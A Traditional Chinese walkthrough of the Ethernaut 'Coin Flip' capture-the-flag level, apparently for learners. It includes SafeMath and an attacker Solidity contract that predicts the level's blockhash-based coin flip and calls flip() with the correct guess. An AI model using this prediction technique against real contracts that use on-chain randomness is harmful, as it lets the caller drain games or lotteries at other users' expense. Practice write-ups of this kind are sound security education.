從本關開始就需要用到智能合約的編寫跟Remix IDE了,預設闖關者已有編寫簡單智能合約的能力,自此開始對Solidity的語法不會贅述。
本關合約的問題源於使用block number作為隨機數,並且無預計到呼叫者是智能合約而非個人錢包的情況。只要使用智能合約呼叫即可保證呼叫者與被呼叫者block.number會相同,從而先計算出結果。
本關雖然簡單,但可以引申出幾個以太坊中的大議題,包括:隨機數Oracle、On-chain Oracle、閃電貸攻擊等,其中閃電貸攻擊更是常見的攻擊模式,不知多少大專案就倒在這種攻擊當中。
首先打開Console (F12),輸入
> instance
下方會回傳當前關卡合約地址。
然後打開Remix IDE,到OpenZeppelin取得通用庫合約SafeMath後新建檔案SafeMath.sol貼上:
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
新建檔案CoinFlip.sol後貼上合約代碼:
pragma solidity ^0.6.0;
import './SafeMath.sol';
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlip {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address levelInstance;
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
function guess() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == true) {
ICoinFlip(levelInstance).flip(true);
} else {
ICoinFlip(levelInstance).flip(false);
}
}
}
在constructor填入關卡合約地址後發佈。
在Remix IDE中,分別在10個區塊中呼叫guess函數。最後按提交,本關完成。